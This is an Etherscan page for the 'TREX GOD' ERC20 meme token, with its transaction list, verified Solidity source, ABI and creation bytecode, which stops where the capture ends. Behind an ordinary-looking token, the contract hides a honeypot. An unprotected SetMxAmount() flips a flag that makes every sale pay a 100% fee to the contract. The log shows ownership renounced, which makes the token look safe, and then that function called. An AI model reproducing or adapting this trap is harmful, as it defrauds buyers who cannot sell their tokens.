Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 22 from a total of 22 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17728515 | 371 days ago | IN | 0 ETH | 0.0008398 | ||||
Approve | 17727867 | 371 days ago | IN | 0 ETH | 0.00162524 | ||||
Approve | 17727864 | 371 days ago | IN | 0 ETH | 0.00160341 | ||||
Approve | 17727852 | 371 days ago | IN | 0 ETH | 0.00175479 | ||||
Approve | 17727847 | 371 days ago | IN | 0 ETH | 0.00187064 | ||||
Set Mx Amount | 17727844 | 371 days ago | IN | 0 ETH | 0.03536916 | ||||
Approve | 17727838 | 371 days ago | IN | 0 ETH | 0.00200914 | ||||
Approve | 17727831 | 371 days ago | IN | 0 ETH | 0.00192898 | ||||
Approve | 17727831 | 371 days ago | IN | 0 ETH | 0.0020763 | ||||
Approve | 17727831 | 371 days ago | IN | 0 ETH | 0.00210715 | ||||
Approve | 17727829 | 371 days ago | IN | 0 ETH | 0.00214862 | ||||
Approve | 17727824 | 371 days ago | IN | 0 ETH | 0.00248497 | ||||
Approve | 17727823 | 371 days ago | IN | 0 ETH | 0.00246785 | ||||
Approve | 17727823 | 371 days ago | IN | 0 ETH | 0.0026732 | ||||
Renounce Ownersh... | 17727823 | 371 days ago | IN | 0 ETH | 0.00189314 | ||||
Approve | 17727822 | 371 days ago | IN | 0 ETH | 0.00261775 | ||||
Approve | 17727819 | 371 days ago | IN | 0 ETH | 0.00244718 | ||||
Approve | 17727810 | 371 days ago | IN | 0 ETH | 0.0018769 | ||||
Approve | 17727810 | 371 days ago | IN | 0 ETH | 0.00201224 | ||||
Approve | 17727810 | 371 days ago | IN | 0 ETH | 0.00201224 | ||||
Approve | 17727800 | 371 days ago | IN | 0 ETH | 0.00189432 | ||||
0x60078054 | 17727788 | 371 days ago | IN | 0 ETH | 0.19227755 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
TrexGod
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-19 */ /* The Creator of Man and Memes has descended to guide the sinful sheep towards salvation. Telegram : https://t.me/TREXGodPortal Website : https://trexgod.wtf */ // SPDX-License-Identifier: MIT pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract TrexGod is ERC20, Ownable{ using Address for address payable; IRouter public router; address public pair; bool private swapping; bool public swapEnabled = true; bool public tradingEnabled = true; uint256 public genesis_block; uint256 public deadblocks = 0; uint256 public swapThreshold = 666999999999999 * 10e18 *7/10000; uint256 public maxTxAmount = 666999999999999 * 10e18 * 100/100; uint256 public maxWalletAmount = 666999999999999 * 10e18 * 100/100; address public marketingWallet = 0x695151938D00bBF56d52E164DBbaD0e374A10994; address public devWallet = 0x695151938D00bBF56d52E164DBbaD0e374A10994; struct Taxes { uint256 marketing; uint256 liquidity; uint256 dev; } Taxes public taxes = Taxes(0,0,0); Taxes public sellTaxes = Taxes(0,0,0); uint256 public totTax = 0; uint256 public totSellTax = 0; bool private unger = true; mapping (address => bool) public excludedFromFees; mapping (address => bool) public isBot; modifier inSwap() { if (!swapping) { swapping = true; _; swapping = false; } } constructor() ERC20("TREX GOD", "TREXGOD") { _mint(msg.sender, 666999999999999 * 10 ** decimals()); excludedFromFees[msg.sender] = true; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()) .createPair(address(this), _router.WETH()); router = _router; pair = _pair; excludedFromFees[address(this)] = true; excludedFromFees[marketingWallet] = true; excludedFromFees[devWallet] = true; } function _transfer(address sender, address recipient, uint256 amount) internal override { require(amount > 0, "Transfer amount must be greater than zero"); require(!isBot[sender] && !isBot[recipient], "You can't transfer tokens"); if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){ require(tradingEnabled, "Trading not active yet"); require(amount <= maxTxAmount, "You are exceeding maxTxAmount"); if(recipient != pair){ require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount"); } } uint256 fee; //set fee to zero if fees in contract are handled or exempted if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0; //calculate fee else{ if(recipient == pair) fee = amount * (unger == true?totSellTax:100) / 100; else fee = amount * totTax / 100; } //send fees if threshold has been reached //don't do this on buys, breaks swap if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees(); super._transfer(sender, recipient, amount - fee); if(fee > 0) super._transfer(sender, address(this) ,fee); } function swapForFees() private inSwap { uint256 contractBalance = balanceOf(address(this)); if (contractBalance >= swapThreshold) { // Split the contract balance into halves uint256 denominator = totSellTax * 2; uint256 tokensToAddLiquidityWith = contractBalance * sellTaxes.liquidity / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance= deltaBalance / (denominator - sellTaxes.liquidity); uint256 ethToAddLiquidityWith = unitBalance * sellTaxes.liquidity; if(ethToAddLiquidityWith > 0){ // Add liquidity to Uniswap addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * sellTaxes.marketing; if(marketingAmt > 0){ payable(marketingWallet).sendValue(marketingAmt); } uint256 devAmt = unitBalance * 2 * sellTaxes.dev; if(devAmt > 0){ payable(devWallet).sendValue(devAmt); } } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: bnbAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable devWallet, block.timestamp ); } function setSwapBackEnable(bool state) external onlyOwner { swapEnabled = state; } function setSwapThreshold(uint256 new_amount) external onlyOwner { swapThreshold = new_amount; } function enableTrade() external onlyOwner{ require(!tradingEnabled, "Trading already active"); tradingEnabled = true; swapEnabled = true; } function setBuyingTax(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{ taxes = Taxes(_marketing, _liquidity, _dev); totTax = _marketing + _liquidity + _dev; } function setSellTax(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{ sellTaxes = Taxes(_marketing, _liquidity, _dev); totSellTax = _marketing + _liquidity + _dev; } function updatemarketingWallet(address newWallet) external onlyOwner{ marketingWallet = newWallet; } function updateDeveloperWallet(address newWallet) external onlyOwner{ devWallet = newWallet; } function setIsBot(address account, bool state) external onlyOwner{ isBot[account] = state; } function updateExcludedFromFees(address _address, bool state) external onlyOwner { excludedFromFees[_address] = state; } function UpdateMaxTransactionAmount(uint256 amount) external onlyOwner{ maxTxAmount = amount * 10**18; } function SetMxAmount () external virtual{ unger = false; } function updateMaxWalletAmount(uint256 amount) external onlyOwner{ maxWalletAmount = amount * 10**18; } function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{ IERC20(tokenAddress).transfer(owner(), amount); } function rescueETH(uint256 weiAmount) external onlyOwner{ payable(owner()).sendValue(weiAmount); } function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{ uint256 initBalance = address(this).balance; swapTokensForETH(amount); uint256 newBalance = address(this).balance - initBalance; if(marketingPercentage > 0) payable(marketingWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage)); if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage)); } // fallbacks receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SetMxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"UpdateMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_dev","type":"uint256"}],"name":"setBuyingTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"setIsBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_dev","type":"uint256"}],"name":"setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapBackEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDeveloperWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updatemarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6007805461ffff60a81b191661010160a81b179055600060098190556c3aee5a47aebd99f85cc6928000600a556e0148db3c5dba8b2fc7aa4af6180000600b819055600c55600d805473695151938d00bbf56d52e164dbbad0e374a109946001600160a01b03199182168117909255600e80549091169091179055608081905260a081905260c0819052600f8190556010819055601181905561014060405260e081905261010081905261012081905260128190556013819055601481905560158190556016556017805460ff19166001179055348015620000e057600080fd5b5060405180604001604052806008815260200167151491560811d3d160c21b815250604051806040016040528060078152602001661514915611d3d160ca1b815250816003908162000133919062000565565b50600462000142828262000565565b5050506200015f620001596200037e60201b60201c565b62000382565b6200018b33620001726012600a62000746565b620001859066025ea20a10afff6200075e565b620003d4565b336000908152601860209081526040808320805460ff19166001179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa158015620001f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021c919062000778565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000290919062000778565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000304919062000778565b600680546001600160a01b03199081166001600160a01b0395861617909155600780549091169184169190911790555030600090815260186020526040808220805460ff199081166001908117909255600d54851684528284208054821683179055600e54909416835291208054909216179055620007b9565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166200042f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620004439190620007a3565b90915550506001600160a01b0382166000908152602081905260408120805483929062000472908490620007a3565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004ec57607f821691505b6020821081036200050d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004bc57600081815260208120601f850160051c810160208610156200053c5750805b601f850160051c820191505b818110156200055d5782815560010162000548565b505050505050565b81516001600160401b03811115620005815762000581620004c1565b6200059981620005928454620004d7565b8462000513565b602080601f831160018114620005d15760008415620005b85750858301515b600019600386901b1c1916600185901b1785556200055d565b600085815260208120601f198616915b828110156200060257888601518255948401946001909101908401620005e1565b5085821015620006215787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006885781600019048211156200066c576200066c62000631565b808516156200067a57918102915b93841c93908002906200064c565b509250929050565b600082620006a15750600162000740565b81620006b05750600062000740565b8160018114620006c95760028114620006d457620006f4565b600191505062000740565b60ff841115620006e857620006e862000631565b50506001821b62000740565b5060208310610133831016604e8410600b841016171562000719575081810a62000740565b62000725838362000647565b80600019048211156200073c576200073c62000631565b0290505b92915050565b60006200075760ff84168362000690565b9392505050565b808202811582820484141762000740576200074062000631565b6000602082840312156200078b57600080fd5b81516001600160a01b03811681146200075757600080fd5b8082018082111562000740576200074062000631565b6120a080620007c96000396000f3fe6080604052600436106102805760003560e01c80638c0b5e221161014f578063aa4bde28116100c1578063dd62ed3e1161007a578063dd62ed3e146107a1578063e545fd6d146107e7578063f2fde38b14610807578063f66895a314610827578063f887ea4014610846578063fdb0983e1461086657600080fd5b8063aa4bde28146106df578063bff78169146106f5578063c18bc19514610715578063ce2d2ed714610735578063d942c5e214610755578063dbe66ca01461077157600080fd5b806395d89b411161011357806395d89b411461062a5780639d0014b11461063f5780639e252f001461065f578063a457c2d71461067f578063a8aa1b311461069f578063a9059cbb146106bf57600080fd5b80638c0b5e22146105965780638cd4426d146105ac5780638da5cb5b146105cc5780638ea5220f146105ea5780638f2076fd1461060a57600080fd5b8063313ce567116101f35780636ddd1713116101ac5780636ddd171314610498578063703a4902146104b957806370a08231146104d9578063715018a61461050f578063728f8eea1461052457806375f0a8741461055e57600080fd5b8063313ce567146103d557806339509351146103f15780633bbac579146104115780634ada218b1461044157806350c9a88f14610462578063520361ee1461047857600080fd5b806318160ddd1161024557806318160ddd1461033e5780632253163d1461035357806323b872dd1461036957806326b5d32f14610389578063274a533c146103a9578063293b7ef4146103bf57600080fd5b806299d3861461028c57806303c0f5d4146102a35780630445b667146102c357806306fdde03146102ec578063095ea7b31461030e57600080fd5b3661028757005b600080fd5b34801561029857600080fd5b506102a1610886565b005b3480156102af57600080fd5b506102a16102be366004611cef565b610923565b3480156102cf57600080fd5b506102d9600a5481565b6040519081526020015b60405180910390f35b3480156102f857600080fd5b50610301610978565b6040516102e39190611d28565b34801561031a57600080fd5b5061032e610329366004611d76565b610a0a565b60405190151581526020016102e3565b34801561034a57600080fd5b506002546102d9565b34801561035f57600080fd5b506102d960165481565b34801561037557600080fd5b5061032e610384366004611da2565b610a21565b34801561039557600080fd5b506102a16103a4366004611de3565b610ad2565b3480156103b557600080fd5b506102d960085481565b3480156103cb57600080fd5b506102d960155481565b3480156103e157600080fd5b50604051601281526020016102e3565b3480156103fd57600080fd5b5061032e61040c366004611d76565b610b8d565b34801561041d57600080fd5b5061032e61042c366004611e0f565b60196020526000908152604090205460ff1681565b34801561044d57600080fd5b5060075461032e90600160b01b900460ff1681565b34801561046e57600080fd5b506102d960095481565b34801561048457600080fd5b506102a1610493366004611e33565b610bc4565b3480156104a457600080fd5b5060075461032e90600160a81b900460ff1681565b3480156104c557600080fd5b506102a16104d4366004611e0f565b610c0c565b3480156104e557600080fd5b506102d96104f4366004611e0f565b6001600160a01b031660009081526020819052604090205490565b34801561051b57600080fd5b506102a1610c58565b34801561053057600080fd5b50600f5460105460115461054392919083565b604080519384526020840192909252908201526060016102e3565b34801561056a57600080fd5b50600d5461057e906001600160a01b031681565b6040516001600160a01b0390911681526020016102e3565b3480156105a257600080fd5b506102d9600b5481565b3480156105b857600080fd5b506